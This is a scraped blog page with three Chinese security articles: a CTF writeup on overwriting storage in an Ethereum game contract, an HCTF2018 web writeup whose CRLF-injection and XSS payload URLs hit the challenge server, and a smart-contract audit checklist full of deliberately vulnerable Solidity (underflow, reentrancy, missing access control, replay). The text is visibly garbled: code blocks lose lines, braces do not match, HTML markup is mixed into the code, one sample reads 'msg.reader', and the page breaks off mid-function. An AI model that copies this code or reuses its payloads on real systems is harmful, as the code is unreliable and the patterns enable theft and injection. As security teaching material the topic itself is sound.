##### 以太坊合约审计 CheckList 之变量覆盖问题
Elfinx 2018-11-16 9:18 转存

2018年11月6日，DVP上线了一场“地球OL真实盗币游戏”，其中第二题是一道智能合约题目，题目中涉及到的了一个很有趣的问题，这里拿出来详细说说看。

### Writeup

```pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b &lt;= a);
return a - b;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c &gt;= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract ERC20 is ERC20Basic {

function approve(address spender, uint256 value) public returns (bool);
event Approval(
uint256 value
);
}

library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}

function safeTransferFrom(
ERC20 token,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}

function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}

contract DVPgame {
ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;

}

function (){
if(map.length&gt;=uint256(msg.sender)){
require(map[uint256(msg.sender)]!=1);
}

if(token.balanceOf(this)==0){
//airdrop is over
selfdestruct(msg.sender);
}else{
token.safeTransfer(msg.sender,100);

if (map.length &lt;= uint256(msg.sender)) {
map.length = uint256(msg.sender) + 1;
}
map[uint256(msg.sender)] = 1;

}
}

//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
function guess(uint256 x,uint256 blockNum) public payable {
require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))&gt;=1*(10**18));
require(blockNum&gt;block.number);
}
if (map.length &lt;= uint256(msg.sender)+x) {
map.length = uint256(msg.sender)+x + 1;
}

map[uint256(msg.sender)+x] = blockNum;
}

//Run a lottery
function lottery(uint256 x) public {
require(map[uint256(msg.sender)+x]!=0);
require(block.number &gt; map[uint256(msg.sender)+x]);
require(block.blockhash(map[uint256(msg.sender)+x])!=0);

selfdestruct(msg.sender);
}
}
}```

fallback函数

```<span class="kd">function</span> <span class="p">(){</span>
<span class="k">if</span><span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span><span class="o">&gt;=</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)){</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)]</span><span class="o">!=</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">if</span><span class="p">(</span><span class="nx">token</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="k">this</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span>
<span class="c1">//airdrop is over</span>
<span class="nx">selfdestruct</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">);</span> <span class="c1">//如果token花完了，就会自动销毁自己发送余额</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nx">token</span><span class="p">.</span><span class="nx">safeTransfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="mi">100</span><span class="p">);</span> <span class="c1">// 否则就给你转100token</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>  <span class="c1">// 通过做map变量偏移操作来使空投只发1次</span>
<span class="p">}</span>
<span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>```

guess函数

```<span class="c1">//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)</span>
<span class="kd">function</span> <span class="nx">guess</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">x</span><span class="p">,</span><span class="nx">uint256</span> <span class="nx">blockNum</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">payable</span> <span class="p">{</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span> <span class="o">==</span> <span class="mf">0.001</span> <span class="nx">ether</span> <span class="o">||</span> <span class="nx">token</span><span class="p">.</span><span class="nx">allowance</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">))</span><span class="o">&gt;=</span><span class="mi">1</span><span class="o">*</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">18</span><span class="p">));</span> <span class="c1">// guess要花费0.001 ether</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">blockNum</span><span class="o">&gt;</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span><span class="p">);</span> <span class="c1">// blockNum要大于当前block.number</span>
<span class="k">if</span><span class="p">(</span><span class="nx">token</span><span class="p">.</span><span class="nx">allowance</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">))</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">){</span>
<span class="nx">token</span><span class="p">.</span><span class="nx">safeTransferFrom</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">),</span><span class="mi">1</span><span class="o">*</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">18</span><span class="p">));</span>  <span class="c1">//转账</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]</span> <span class="o">=</span> <span class="nx">blockNum</span><span class="p">;</span>  <span class="c1">// 可以想向任意地址写入blockNum</span>
<span class="p">}</span>```

lottery函数

```<span class="kd">function</span> <span class="nx">lottery</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">x</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// 目标地址必须有值</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span> <span class="o">&gt;</span> <span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]);</span> <span class="c1">// 这点是和前面guess函数对应，必须在之后开奖</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">blockhash</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">])</span><span class="o">!=</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// 不能使中间的参数为当前块为0</span>

<span class="nx">uint256</span> <span class="nx">answer</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">blockhash</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">])))</span><span class="o">%</span><span class="mi">10000</span><span class="p">;</span>
<span class="c1">// 计算hash的后4位</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">x</span> <span class="o">==</span> <span class="nx">answer</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// 如果相等，则转账并销毁</span>
<span class="nx">token</span><span class="p">.</span><span class="nx">safeTransfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">token</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">)));</span>
<span class="nx">selfdestruct</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>```

```constructor(address addr) payable{
}```

```pragma solidity ^0.4.21;
contract DVPgame {
ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;
...```

memory : 内存，生命周期仅为整个方法执行期间，函数调用后回收，因为仅保存临时变量，故GAS开销很小 storage : 永久储存在区块链中，由于会永久保存合约状态变量，故GAS开销也最大 stack : 存放部分局部值类型变量，几乎免费使用的内存，但有数量限制

```ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;```

`map[uint256(msg.sender)+x] = blockNum;`

`address(map_data) = sha(array_slot)+offset`

```pragma solidity ^0.4.21;

contract dvp_attack {

}

i = 0;
}

function attack(uint256 x,uint256 blockNum){
// modity owner
// fallback
}
}```

### 在题目之后

#### array

`uint256[] map;`

map就是一个uint类型的数组，在storage中，map变量的储存地址计算公式如下

`address(map_data) = sha3(slot)+offset`

```map[2] = 22333
==&gt;
==&gt;
storage[sha3(1)+2] = 22333```

#### mapping

`mapping (address =&gt; uint) balances;`

`address(balances_data) = sha3(key, slot)`

```balances[0xaaa] = 22333 //0xaaa为address
==&gt;
==&gt;
storage[sha3(0xaaa,0)] = 22333```

#### mapping + struct

```struct Person {
uint funds;
}

`address(people_data) = sha3(key,slot)+offset`

```people[0xaaa].addr[1] = 0xbbb
==&gt;
==&gt;
storage[sha3(sha3(0xaaa,0)+0)+1] = 0xbbb```

### 漏洞影响范围

“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。目前Haotian平台智能合约审计功能已经集成了该规则。

### REF

##### HCTF2018 部分 web 题目 Writeup
Elfinx 2018-11-16 9:16 转存

HCTF2018在出题的时候其实准备了一个特别好的web题目思路，可惜赛前智能合约花了太多时间和精力，没办法只能放弃了之前的web题，在运维比赛的过程中，我发现学弟出的一些题目其实很有意思值得思考。

### bottle

bottle是小学弟@luo00出的题目，源码如下 https://github.com/Lou00/HCTF2018_Bottle

https://lorexxar.cn/2017/08/31/xss-ali/#05%E8%B7%B3%E8%BD%AC

`150.109.53.69:/path?path=//150.109.53.69:0%2f%0D%0A%0D%0Atest`

`http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<span class="nt">&lt;html&gt;&lt;head&gt;&lt;script&gt;</span>alert`1`<span class="nt">&lt;/script&gt;</span>`

-----------下面开始脑洞时间，实际没有作用，不想看可以跳过----------------------

#### 尝试

`response.add_header('Content-Security-Policy',"default-src 'self'; script-src 'self'")`

self CSP最大的问题在于如果能找到一个self源内容可控的，那CSP就可以被绕过了。

`http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0Aalert%60%31%60%3b`

`http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert`1``

`http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<span class="nt">&lt;html&gt;&lt;head&gt;&lt;script</span><span class="err">/</span><span class="na">src=</span><span class="s">%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%33%30%30%30%2f%70%61%74%68%3f%70%61%74%68%3d%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%30%25%32%66%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%61%2b%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%33%62%2b%63%68%61%72%73%65%74%25%33%64%55%54%46%2d%38%25%30%44%25%30%41%25%30%44%25%30%41%61%6c%65%72%74%60%31%60</span><span class="nt">&gt;&lt;/script&gt;</span>`

`response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69")`

CSP中如果不设置端口，默认会认为是80端口。同样没办法绕过。

`response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69:*")`

firefox的控制台显示script加载失败，仔细研究了一番突然意识到一个事情，是不是浏览器的不加载非200的静态资源

```<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="s1">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">hello_world</span><span class="p">():</span>
<span class="k">return</span> <span class="s1">'alert(1);'</span><span class="p">,</span> <span class="mi">303</span>

<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>```

```alert`1`;

### game

game这道题是我的另一个小学弟@undifined出的题目，后来听他说起这个思路我觉得蛮有意思的，这里出成题目用了明文密码入库虽说是比较强行，但其实用来注其他信息还是不难的，是个很有趣的想法。

https://pwnhub.cn/questiondetail?id=3

1. 打游戏获得积分
2. 排行榜，可以根据不同的字段排行

`ac &gt; adf &gt; ad`

##### 以太坊智能合约审计 CheckList
Elfinx 2018-11-13 6:49 转存

# 1、编码规范问题

## (1) 编译器版本

`pragma solidity ^0.4.25;`

v0.4.23更新了一个编译器漏洞，在这个版本中如果同时使用了两种构造函数，即

```contract a {
function a() public{
...
}
constructor() public{
...
}
}```

v0.4.25修复了下面提到的未初始化存储指针问题。

https://etherscan.io/solcbuginfo

## (2) 构造函数书写问题

```contract Owned {
function Owned() public{
}```

```contract Owned {
constructor() public {
}```

## (3) 返回标准

`<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span>`

## (4) 事件标准

```<span class="kd">function</span> <span class="nx">approve</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">){</span>
<span class="nx">allowance</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">][</span><span class="nx">_spender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">_value</span><span class="p">;</span>
<span class="nx">emit</span> <span class="nx">Approval</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">_value</span><span class="p">)</span>
<span class="k">return</span> <span class="kc">true</span>```

## (5) 假充值问题

```<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_value</span> <span class="o">&amp;&amp;</span> <span class="nx">_value</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_value</span><span class="p">;</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_value</span><span class="p">;</span>
<span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_value</span><span class="p">);</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span>
<span class="p">}</span>```

```<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span>  <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">_to</span> <span class="o">!=</span> <span class="nx">address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">_amount</span> <span class="o">&lt;=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]);</span>

<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">sub</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
<span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_amount</span><span class="p">);</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>```

# 2、设计缺陷问题

## (1) approve授权函数条件竞争

approve函数中应避免条件竞争。在修改allowance前，应先修改为0，再修改为_value。

```<span class="kd">function</span> <span class="nx">approve</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">){</span>
<span class="nx">allowance</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">][</span><span class="nx">_spender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">_value</span><span class="p">;</span>
<span class="k">return</span> <span class="kc">true</span>```

`require((_value == 0) || (allowance[msg.sender][_spender] == 0));`

## (2) 循环Dos问题

### [1] 循环消耗问题

#### 真实世界事件

Simoleon (SIM) - https://paper.seebug.org/646/

Pandemica - https://bcsec.org/index/detail/id/260/tag/2

### [2] 循环安全问题

```<span class="kd">function</span> <span class="nx">Distribute</span><span class="p">(</span><span class="nx">address</span><span class="p">[]</span> <span class="nx">_addresses</span><span class="p">,</span> <span class="nx">uint256</span><span class="p">[]</span> <span class="nx">_values</span><span class="p">)</span> <span class="nx">payable</span> <span class="nx">returns</span><span class="p">(</span><span class="kt">bool</span><span class="p">){</span>
<span class="k">for</span> <span class="p">(</span><span class="nx">uint</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">_addresses</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">transfer</span><span class="p">(</span><span class="nx">_addresses</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span> <span class="nx">_values</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>```

# 3、编码安全问题

## (1) 溢出问题

### [1] 算术溢出

```pragma solidity ^0.4.18;

contract Token {

uint public totalSupply;

function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value &gt;= 0); //可以通过下溢来绕过判断
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}```

`balances[msg.sender] - _value >= 0`可以通过下溢来绕过判断。

```<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span>  <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">_to</span> <span class="o">!=</span> <span class="nx">address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">_amount</span> <span class="o">&lt;=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]);</span>

<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">sub</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
<span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_amount</span><span class="p">);</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>```

Hexagon

SMT/BEC

### [2] 铸币烧币溢出问题

```<span class="kd">function</span> <span class="nx">TokenERC20</span><span class="p">(</span>
<span class="nx">uint256</span> <span class="nx">initialSupply</span><span class="p">,</span>
<span class="kt">string</span> <span class="nx">tokenName</span><span class="p">,</span>
<span class="kt">string</span> <span class="nx">tokenSymbol</span>
<span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">totalSupply</span> <span class="o">=</span> <span class="nx">initialSupply</span> <span class="o">*</span> <span class="mi">10</span> <span class="o">**</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">decimals</span><span class="p">);</span>
<span class="nx">balanceOf</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">totalSupply</span><span class="p">;</span>
<span class="nx">name</span> <span class="o">=</span> <span class="nx">tokenName</span><span class="p">;</span>
<span class="nx">symbol</span> <span class="o">=</span> <span class="nx">tokenSymbol</span><span class="p">;</span>
<span class="p">}</span>```

```contract OPL {
// Public variables
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals
uint256 public totalSupply;
function OPL() public {
totalSupply = 210000000 * 10 ** uint256(decimals);
...
}```

## (2) 重入漏洞

call函数调用时，应该做严格的权限控制，或直接写死call调用的函数

```<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint</span> <span class="nx">_amount</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_amount</span><span class="p">);</span>
<span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">value</span><span class="p">(</span><span class="nx">_amount</span><span class="p">)();</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
<span class="p">}</span>```

call注入可能导致代币窃取，权限绕过

```addr.call(data);

The Dao

call注入

## (3) 权限控制

```<span class="kd">function</span> <span class="nx">initContract</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">reader</span><span class="p">;</span>
<span class="p">}</span>```

### 真实世界事件

Parity Multi-sig bug 1

Parity Multi-sig bug 2

Rubixi

## (4) 重放攻击

```<span class="kd">function</span> <span class="nx">transferProxy</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_from</span><span class="p">,</span> <span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_fee</span><span class="p">,</span>
<span class="nx">uint8</span> <span class="nx">_v</span><span class="p">,</span> <span class="nx">bytes32</span> <span class="nx">_r</span><span class="p">,</span> <span class="nx">bytes32</span> <span class="nx">_s</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span><span class="p">){</span>

<span class="k">if</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">&lt;</span> <span class="nx">_fee</span> <span class="o">+</span> <span class="nx">_value</span>
<span class="o">||</span> <span class="nx">_fee</span> <span class="o">&gt;</span> <span class="nx">_fee</span> <span class="o">+</span> <span class="nx">_value</span><span class="p">)</span> <span class="nx">revert</span><span class="p">();</span>

<span class="nx">uint256</span> <span class="nx">nonce</span> <span class="o">=</span> <span class="nx">nonces</span><span class="p">[</span><span class="nx">_from</span><span class="p">];</span>
<span class="nx">bytes32</span> <span class="nx">h</span> <span class="o">=</span> <span class="nx">keccak256</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span><span class="nx">_to</span><span class="p">,</span><span class="nx">_value</span><span class="p">,</span><span class="nx">_fee</span><span class="p">,</span><span class="nx">nonce</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">));</span>
<span class="k">if</span><span class="p">(</span><span class="nx">_from</span> <span class="o">!=</span> <span class="nx">ecrecover</span><span class="p">(</span><span class="nx">h</span><span class="p">,</span><span class="nx">_v</span><span class="p">,</span><span class="nx">_r</span><span class="p">,</span><span class="nx">_s</span><span class="p">))</span> <span class="nx">revert</span><span class="p">();</span>

<span class="k">if</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+</span> <span class="nx">_value</span> <span class="o">&lt;</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span>
<span class="o">||</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">+</span> <span class="nx">_fee</span> <span class="o">&lt;</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">])</span> <span class="nx">revert</span><span class="p">();</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_value</span><span class="p">;</span>
